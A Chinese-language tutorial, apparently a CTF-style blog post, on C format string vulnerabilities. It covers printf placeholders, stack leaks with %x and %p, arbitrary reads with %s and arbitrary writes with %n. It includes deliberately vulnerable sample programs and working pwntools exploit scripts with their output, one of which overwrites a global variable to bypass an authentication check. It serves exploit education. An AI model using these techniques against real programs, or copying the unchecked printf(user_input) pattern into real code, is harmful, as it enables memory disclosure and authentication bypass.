发布于

格式化字符串漏洞

作者

格式字符串漏洞是一个非常危险且很容易被利用的漏洞。如果攻击者掌握了正确的技巧,就可以利用这个漏洞作出很多超出程序预期的事情,比如非法读取程序的任意内存数据,或者非法向任意内存地址写入数据。

0x01 基础知识

1x01 格式化字符串函数介绍

格式化字符串函数可以接收可变数量的占位符,并将第一个占位符作为格式化字符串,根据其来解析之后的参数。通俗来说,格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。几乎所有的 C/C++ 程序都会利用格式化字符串函数来输出信息,调试程序,或者处理字符串。一般来说,格式化字符串在利用的时候主要分为三个部分。

  • 格式化字符串函数
  • 格式化字符串
  • 后续参数,可选

这里我们给出一个简单的例子。相信大多数人都接触过 printf 之类的函数。之后我们再详细介绍。

1

1x02 常见的格式化字符串函数

能进行格式化字符串操作的函数被称为格式化字符串函数。

类型函数名基本介绍
输入scanf获取用户输入
输出printf输出到 stdout
输出fprintf输出到指定 FILE 流
输出vprintf根据参数列表格式化输出到 stdout
输出vfprintf根据参数列表格式化输出到指定 FILE 流
输出sprintf输出到字符串
输出snprintf输出指定字节数到字符串
输出vsprintf根据参数列表格式化输出到字符串
输出vsnprintf根据参数列表格式化输出指定字节到字符串
输出setproctitle设置 argv
输出syslog输出日志
输出err, verr, warn, vwarn ………

1x03 格式化字符串

这里我们了解一下格式化字符串的格式,其基本格式如下:

%[parameter][flags][field width][.precision][length]type

每一种 Pattern 的具体含义请参考维基百科的 格式化字符串。以下几个 Pattern 中的对应选择需要重点关注:

  • parameter
    • n$,获取格式化字符串中的指定参数
  • flag
  • field width
    • 输出的最小宽度
  • precision
    • 输出的最大长度
  • length,输出的长度
    • hh,输出一个字节
    • h,输出一个双字节
  • type
    • d/i,有符号整数
    • u,无符号整数
    • x/X,16 进制 unsigned int。x 使用小写字母;X 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空
    • o,8 进制 unsigned int。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空
    • s,如果没有用 l 标志,输出 null 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 l 标志,则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 wcrtomb 函数
    • c,如果没有用 l 标志,把 int 参数转为 unsigned char 型输出;如果用了 l 标志,把 wint_t 参数转为包含两个元素的 wchart_t 数组,其中第一个元素包含要输出的字符,第二个元素为 null 宽字符
    • p, void * 型,输出对应变量的值。printf("%p",a) 用地址的格式打印变量 a 的值,printf("%p", &a) 打印变量 a 所在的地址
    • n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量
    • %,'%'字面值,不接受任何 flags, width

1x04 参数

就是相应的要输出的变量。

0x02 格式化字符串漏洞原理

在一开始,我们就给出格式化字符串的基本介绍,这里再说一些比较细致的内容。我们上面说,格式化字符串函数是根据格式化字符串占位符来进行解析的。那么相应的要被解析的参数的个数也自然是由这个格式化字符串占位符所控制。比如说 %s 表明我们会输出一个字符串参数。

几乎所有的 C/C++ 程序都会利用格式化字符串函数来输出信息,调试程序,或者处理字符串。我们来看一个例子:

int value = 1205;

printf("Decimal: %d\nFloat: %f\nHex: 0x%x", value, (double) value, value);

在进入 printf 之后,函数首先获取第一个参数,一个一个读取其字符会遇到两种情况:

  • 当前字符不是 %,直接输出到相应标准输出
  • 当前字符是 %,继续读取下一个字符
    • 如果没有字符,报错
    • 如果下一个字符是 %,输出 %
    • 否则根据相应的字符,获取相应的参数,对其进行解析并输出

这段代码输出以下内容:

Decimal: 1205
Float: 1205.000000
Hex: 0x4b5

它将 %d 替换为整型值,%f 替换为浮点型值,%x 替换为十六进制表示。

这就是 C 语言中格式化字符串的方法:格式化占位符可以在打印时动态替换为变量的值。这为攻击者提供了注入数据的机会。让我们尝试以十六进制打印相同的值 3 次:

int value = 1205;

printf("%x %x %x", value, value, value);

正如预期的那样,我们得到:

4b5 4b5 4b5

但是,如果我们没有把足够的参数传给格式化占位符,会发生什么情况?

int value = 1205;

printf("%x %x %x", value);
4b5 3c602ae8 42e1edd8

发生了什么?

这里的关键是 printf 需要与格式化占位符一样多的参数,并且在 32-bit 程序中它从栈中获取这些参数。如果栈上没有足够的参数匹配格式化占位符的个数,printf 还是会继续读取栈后面的值,从而导致栈上值的泄漏。本质上就是通过参数数量不匹配的方式从栈中泄漏值。这就是为什么说这个漏洞非常危险且容易利用。

0x03 如何利用

格式化字符串漏洞确实存在于代码中,但如果攻击者只是输入一些数据的话就很难利用这个漏洞了。真正的问题在于,程序没有校验用户的输入,就将其用于格式化字符串函数,从而产生了可利用的漏洞入口。但这也需要攻击者精心构造输入才能成功被利用。

fmtstr_arb_read.zip

Binary

#include <stdio.h>

int main(void) {
  char buffer[30];

  gets(buffer);

  printf(buffer);
  return 0;
}

如果我们正常运行它,它会按照预期的流程工作:

$ ./test
test
test

但是如果我们输入的是格式化占位符,例如 %x 会发生什么?

$ ./test
%x %x %x
f7c16ca0 8048288 804918c

程序从栈中读取值并返回它们。因为开发人员没有意识到用户的输入可能包含格式化占位符,而 printf 又会继续读取栈上的数据。

0x04 选择偏移量

要打印相同的值 3 次可以使用:

printf("%x %x %x", value, value, value);

这很乏味。所以,C 语言中有更好的方法:

printf("%1$x %1$x %1$x", value);

1$ 告诉 printf 使用 第一个参数。这就意味着攻击者可以从栈顶读取任意偏移量的值。假设我们知道在第 4 个 %p 处有我们要泄漏的数据。虽然可以通过发送 4 个 %p %p %p %p 得到,但这显然很麻烦,因此我们可以用 %4$p(表示用十六进制打印第四个参数) 指定要泄漏的位置。

0x05 任意读取

在 C 语言中,字符串是通过指针来使用的,这个指针包含了字符串的内存地址,通过访问这个内存地址来获得值。因此,当你使用 %s 格式化占位符时,传入的 %s 实际上是这个指针指向的地址,而不是字符串本身。%s 得到的不是字符串,而是一个内存地址的值。

刚才所说的这些技术其实很有意思,前提是如果你能在栈上找到一个地址,正好是你想攻击的内存地址。但是如果我们能直接指定想要读取的地址那就更方便了。我们可以通过控制格式化字符串的参数,这样就能直接让程序读取我们指定的内存地址。

让我们回顾一下前面的程序及其输出:

$ ./test

%x %x %x %x %x %x %x
f7c16ca0 8048288 804918c f63d4e2e 7b1ea71 25207825 78252078

你可能会注意到最后两个打印出来的值包含 %x 的十六进制值。那是因为我们正在读取缓冲区的内容。这里它处于第 6 个偏移位置。如果我们可以在这里写入一个地址,然后用 %s 读取它,就可以实现任意地址写入了!

$ ./vuln
ABCD|%6$p
ABCD|0x44434241

Note

利用 %x 可以获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别。

正如我们所看到的,我们正在读取输入的值。我们可以用 pwntools 写一个简单的脚本验证格式化字符串的读取能力。

from pwn import *

context.log_level = 'debug'

p = process('./vuln')

payload = p32(0x41424344)
payload += b'|%6$p'

p.sendline(payload)

p.interactive()
$ python exp.py
[+] Starting local process './vuln' argv=[b'./vuln'] : pid 92046
[...]
[DEBUG] Received 0xf bytes:
    b'DCBA|0x41424344'

很好,它有效。

现在我们可以把 ELF 文件的基地址写入栈中,然后用 %s 读取它。如果一切正常,它应该能读取到文件头的第一个字节,且该字节始终为 \x7fELF

使用 checksec 发现二进制文件的基地址是 0x8048000,我们可以用它替换 0x41424344 并用 %s 读取它:

from pwn import *

context.log_level = 'debug'

p = process('./vuln')

payload = p32(0x8048000)
payload += b'|%6$s'

p.sendline(payload)

p.interactive()

它不起作用。原因是 printf 在遇到空字节 \x00 时会停止读取,而 ELF 头部的第一个字节正好就是空字节。因此我们必须把格式化占位符放在第一位。

from pwn import *

context.log_level = 'debug'

p = process('./vuln')

payload = b'%8$p||||'
payload += p32(0x8048000)

p.sendline(payload)

p.interactive()

我们来分解一下这个 payload:

  • 我们添加 4 个 | 是因为我们希望写入的地址占用完整的内存地址,不要跨两个地址,因为每个地址长度是 4 字节,如果我们的地址跨了两个地址,读取的时候就会产生错误。所以我们添加四个 |,每个字符占 1 字节,就可以把地址对齐到 4 字节,避免错误
  • 偏移量为 %8$p 是因为缓冲区的起始位置是 %6$p。但是我们的地址是 4 字节长的,在它之前我们已经有 8 个字节了(偏移加垂直线)。相当于比 %6$p 后移动了 2 个地址,就是 %8$p 的位置了

以 4 字节为单位计算偏移量,才能正确定位和修改我们希望的地址。

$ python exp.py
[+] Starting local process './vuln' argv=[b'./vuln'] : pid 93613
[...]
[DEBUG] Received 0xd bytes:
    b'0x8048000||||'

Important

它仍然停在空字节处,但这并不重要,因为我们已经得到了输出;地址仍然被写入内存,只是没有打印回来。

现在让我们用 s 替换 p

$ python exp.py
[+] Starting local process './vuln' argv=[b'./vuln'] : pid 94016
[...]
[DEBUG] Received 0xb bytes:
    00000000  7f 45 4c 46  01 01 01 7c  7c 7c 7c                  │·ELF│···||||    0000000b
\x7fELF||||

当然,%s 也会在空字节处停止,因为 C 语言中的字符串以它们结尾。然而,我们已经计算出 ELF 文件的第一个字节(直到空字节)为 \x7fELF||||

Note

从 DEBUG 看,实际输出应该是 \x7fELF\x01\x01\x01||||。但由于 \x01 是不可见字符,因此不会显示输出。

0x06 任意写入

在 C 语言中包含一个很少使用的格式化占位符 %n,它可以接收一个指针(内存地址)作为参数。%n 会向这个指针所指定的内存地址中写入当前已经输出的字符个数。

也就是说,我们可以控制两方面:

  1. 控制 %n 写入的内容,通过输出不同数量的字符来修改写入的数值
  2. 控制 %n 写入的位置,通过输入不同的指针来修改写入的内存地址

如果我们同时控制了这两方面,就实现了向任意地址写入任意值的效果。

但是如果想写入一个较大的值,比如 0x8048000 ,我们就需要输出 134512640 个字符才能达到这个数值,而且通常缓冲区都不会有那么大。幸运的是,还有其它格式化占位符可以帮助我们完成写入。你可以观看这个 视频 来理解。

但让我们先以一个简单的程序为例,先看看基本的利用过程。

fmtstr_arb_write.zip

Binary

#include <stdio.h>

int auth = 0;

int main() {
  char password[100];

  puts("Password: ");
  fgets(password, sizeof password, stdin);

  printf(password);
  printf("Auth is %i\n", auth);

  if(auth == 10) {
    puts("Authenticated!");
  }
}

目标很简单,我们需要把变量 auth 的值覆盖为 10。

很明显,这里存在格式化字符串漏洞,因为程序在没有检查用户的输入的情况下直接使用了用户的输入作为格式化字符串函数的参数。但是由于使用了安全的 fgets ,所以程序不存在缓冲区溢出的问题。这说明我们不能直接通过注入垃圾数据来覆盖 auth 的值。

1x01 找出 auth 的位置

由于它是一个全局变量,因此它位于二进制文件本身的符号表内。我们可以使用 readelf 来查看 ELF 文件中的符号信息。

$ readelf -s auth | grep auth
  34: 00000000     0 FILE    LOCAL  DEFAULT  ABS auth.c
  57: 0804c028     4 OBJECT  GLOBAL DEFAULT   24 auth

可以看到 auth 的地址是 0x0804c028

1x02 编写 Exploit

幸运的是,没有空字节,因此无需更改顺序。

$ ./auth
Password:
%p %p %p %p %p %p %p %p %p
0x64 0xf7e445c0 0x8049199 0xf7f50b8c 0x1 0xf7f136a0 0x25207025 0x70252070 0x20702520
Auth is 0

缓冲区位于第 7 个位置。

from pwn import *

context.log_level = 'info'

p = process('./auth')

AUTH = 0x0804c028

payload = p32(AUTH)
payload += b'|' * 6  # 我们需要写入值 10,AUTH 是 4 个字节,所以我们还需要 6 个字节来表示 %n
payload += b'%7$n'

p.sendline(payload)

p.interactive()

轻松覆盖:

$ python exp.py
[+] Starting local process './auth': pid 79229
[*] Switching to interactive mode
[*] Process './auth' stopped with exit code 0 (pid 79229)
Password:
(\xc||||||
Auth is 10
Authenticated!

0x07 Pwntools 半自动

正如你所期望的,pwntools 有一个方便的功能,可以自动利用 %n 格式化占位符:

payload = fmtstr_payload(offset, {location : value})

本例中的 offset 为 7,因为第 7 个 %p 读取了缓冲区;location 是你要写入的位置,value 是要写入的内容。

Important

你可以根据需要向字典中添加任意数量的 location : value 对。

payload = fmtstr_payload(7, {AUTH : 10})

你还可以使用 pwntools 获取 auth 的位置:

elf = ELF('./auth')
AUTH = elf.sym['auth']